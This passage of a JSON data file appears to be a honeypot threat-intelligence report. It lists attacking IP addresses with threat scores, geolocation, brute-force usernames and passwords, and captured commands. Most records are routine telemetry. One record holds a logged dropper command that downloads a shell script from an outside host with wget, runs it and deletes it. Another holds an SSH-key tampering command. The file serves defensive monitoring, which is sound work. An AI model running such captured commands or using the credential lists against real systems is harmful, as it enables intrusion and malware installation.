      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T18:00:08.610000+00:00",
        "last_seen_30d": "2026-04-17T19:15:32.407000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 131,
        "Suricata": 65
      }
    },
    "116.99.169.38": {
      "attack_count": 126,
      "first_seen": "2026-04-29T19:56:52.279Z",
      "last_seen": "2026-04-29T20:04:58.801Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "support",
        "1234",
        "config",
        "ftp",
        "guest1",
        "oracle",
        "plex",
        "sync",
        "system",
        "test",
        "ubnt"
      ],
      "passwords_attempted": [
        "1234",
        "admin123",
        "12345",
        "123456",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "admin",
        "alpine",
        "click1",
        "config",
        "default",
        "ftp",
        "guest1",
        "oracle",
        "p@ssw0rd",
        "plex",
        "root",
        "root123",
        "support",
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T19:56:52.279000+00:00",
        "last_seen_30d": "2026-04-29T20:06:20.038000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 58
      }
    },
    "221.200.64.155": {
      "attack_count": 88,
      "first_seen": "2026-04-19T15:37:40.331Z",
      "last_seen": "2026-04-19T15:43:07.559Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenyang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T15:37:40.331000+00:00",
        "last_seen_30d": "2026-04-19T15:53:30.502000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 45
      }
    },
    "105.155.165.177": {
      "attack_count": 75,
      "first_seen": "2026-04-01T00:01:15.855Z",
      "last_seen": "2026-04-01T00:50:46.510Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:00:34.614000+00:00",
        "last_seen_30d": "2026-04-01T00:51:46.948000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 60
      }
    },
    "182.42.93.139": {
      "attack_count": 59,
      "first_seen": "2026-04-04T06:34:47.355Z",
      "last_seen": "2026-04-04T07:08:54.248Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "dev",
        "ftpuser",
        "n8n",
        "ubuntu"
      ],
      "passwords_attempted": [
        "Admin13!",
        "Dev13!",
        "Qazwsx1!@#",
        "ZAQ!2wsx2021@#",
        "a123123",
        "ftpuser2025",
        "n8n0",
        "pass2026!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:34:47.355000+00:00",
        "last_seen_30d": "2026-04-04T07:10:05.621000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 59,
        "Suricata": 27
      }
    },
    "192.253.248.48": {
      "attack_count": 53,
      "first_seen": "2026-04-10T13:47:35.942Z",
      "last_seen": "2026-04-15T15:27:54.596Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "1234@Kelltech",
        "1234@kelltech",
        "1234Kelltech",
        "1234kelltech",
        "123@kelltech",
        "123Kelltech",
        "1@kelltech",
        "2025Kelltech",
        "kelltech2025@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:47:35.942000+00:00",
        "last_seen_30d": "2026-04-15T15:29:00.421000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 30
      }
    },
    "182.190.248.155": {
      "attack_count": 50,
      "first_seen": "2026-04-29T15:46:28.332Z",
      "last_seen": "2026-04-29T15:51:55.782Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T15:46:28.332000+00:00",
        "last_seen_30d": "2026-04-29T15:53:02.791000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.18.153": {
      "attack_count": 50,
      "first_seen": "2026-04-19T21:43:37.989Z",
      "last_seen": "2026-04-19T21:49:02.470Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T21:43:37.989000+00:00",
        "last_seen_30d": "2026-04-19T21:50:12.702000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "72.255.19.66": {
      "attack_count": 50,
      "first_seen": "2026-04-23T21:19:31.970Z",
      "last_seen": "2026-04-23T21:24:59.391Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Jhelum",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T21:19:31.970000+00:00",
        "last_seen_30d": "2026-04-23T21:26:04.472000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "110.37.35.235": {
      "attack_count": 42,
      "first_seen": "2026-04-29T00:21:17.269Z",
      "last_seen": "2026-04-29T00:25:49.751Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T00:21:17.269000+00:00",
        "last_seen_30d": "2026-04-29T00:26:55.415000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "72.255.33.246": {
      "attack_count": 42,
      "first_seen": "2026-04-11T10:40:07.875Z",
      "last_seen": "2026-04-11T10:44:44.138Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T10:40:07.875000+00:00",
        "last_seen_30d": "2026-04-11T10:45:53.106000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 22
      }
    },
    "138.68.80.227": {
      "attack_count": 41,
      "first_seen": "2026-04-07T04:29:31.666Z",
      "last_seen": "2026-04-07T04:30:47.545Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T04:29:31.666000+00:00",
        "last_seen_30d": "2026-04-07T04:39:50.390000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 30
      }
    },
    "152.53.149.25": {
      "attack_count": 38,
      "first_seen": "2026-04-10T13:40:31.700Z",
      "last_seen": "2026-04-11T12:25:53.570Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!2024Kelltech",
        "$2026kelltech",
        "2024$Kelltech",
        "2024.kelltech",
        "Kelltech$1234",
        "Kelltech2025#",
        "kelltech123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 197540,
      "as_org": "netcup GmbH",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:40:31.700000+00:00",
        "last_seen_30d": "2026-04-11T12:26:55.646000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 21
      }
    },
    "36.255.33.66": {
      "attack_count": 30,
      "first_seen": "2026-04-19T13:56:15.636Z",
      "last_seen": "2026-04-19T13:59:30.054Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T13:56:15.636000+00:00",
        "last_seen_30d": "2026-04-19T14:00:31.530000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "94.243.9.88": {
      "attack_count": 30,
      "first_seen": "2026-04-16T04:58:04.082Z",
      "last_seen": "2026-04-16T05:01:20.139Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T04:58:04.082000+00:00",
        "last_seen_30d": "2026-04-16T05:02:23.533000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "85.11.167.130": {
      "attack_count": 24,
      "first_seen": "2026-04-30T15:52:31.240Z",
      "last_seen": "2026-04-30T15:53:10.141Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "",
        "postgres",
        "ubnt"
      ],
      "passwords_attempted": [
        "",
        "password",
        "postgres",
        "ubnt"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 213438,
      "as_org": "ColocaTel Inc.",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:52:31.240000+00:00",
        "last_seen_30d": "2026-04-30T15:54:29.672000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 9
      }
    },
    "139.135.59.105": {
      "attack_count": 22,
      "first_seen": "2026-04-05T22:36:15.652Z",
      "last_seen": "2026-04-05T22:38:38.055Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T22:36:15.652000+00:00",
        "last_seen_30d": "2026-04-05T22:39:45.850000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "77.53.238.44": {
      "attack_count": 22,
      "first_seen": "2026-04-30T21:37:53.320Z",
      "last_seen": "2026-04-30T21:38:06.680Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "S\u00f6dert\u00e4lje",
      "asn": 29518,
      "as_org": "Bredband2 AB",
      "threat_score": 35.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-30T21:37:53+00:00",
        "last_seen_30d": "2026-04-30T21:39:11.141000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 16,
        "Honeytrap": 2
      }
    },
    "87.121.79.160": {
      "attack_count": 18,
      "first_seen": "2026-04-27T17:31:04.582Z",
      "last_seen": "2026-04-27T17:32:25.414Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.121.79.160/all.sh -O all.sh; chmod 777 all.sh; ./all.sh; rm -f all.sh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 199428,
      "as_org": "Alvaro Navas",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:31:04.582000+00:00",
        "last_seen_30d": "2026-04-27T17:33:29.825000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "118.70.103.111": {
      "attack_count": 16,
      "first_seen": "2026-04-26T04:03:16.683Z",
      "last_seen": "2026-04-26T04:11:32.555Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T04:03:16.683000+00:00",
        "last_seen_30d": "2026-04-26T04:12:39.395000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "188.132.150.153": {
      "attack_count": 16,
      "first_seen": "2026-04-28T20:24:36.712Z",
      "last_seen": "2026-04-28T20:34:44.467Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:24:36.712000+00:00",
        "last_seen_30d": "2026-04-28T20:35:50.071000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "64.225.106.223": {
      "attack_count": 16,
      "first_seen": "2026-04-01T06:38:22.271Z",
      "last_seen": "2026-04-01T06:38:48.636Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T06:38:22.271000+00:00",
        "last_seen_30d": "2026-04-04T03:18:02.491000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 15,
        "Honeytrap": 4
      }
    },
    "66.132.186.166": {
      "attack_count": 14,
      "first_seen": "2026-04-01T22:35:55.817Z",
      "last_seen": "2026-04-04T13:23:32.945Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 82.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 124,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T18:54:20+00:00",
        "last_seen_30d": "2026-04-29T15:32:46.486000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 46,
        "Cowrie": 14,
        "Dionaea": 1
      }
    },
    "14.103.86.183": {
      "attack_count": 13,
      "first_seen": "2026-04-23T00:47:01.015Z",
      "last_seen": "2026-04-23T00:59:28.563Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "andres"
      ],
      "passwords_attempted": [
        "andres123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T00:47:01.015000+00:00",
        "last_seen_30d": "2026-04-23T01:06:35.044000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 9
      }
    },
    "134.209.244.59": {
      "attack_count": 12,
      "first_seen": "2026-04-01T12:13:06.357Z",
      "last_seen": "2026-04-01T12:13:07.838Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 1.7,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 2,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:47:14+00:00",
        "last_seen_30d": "2026-04-02T03:05:25.113000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 30,
        "Cowrie": 12
      }
    },
    "2.57.121.118": {
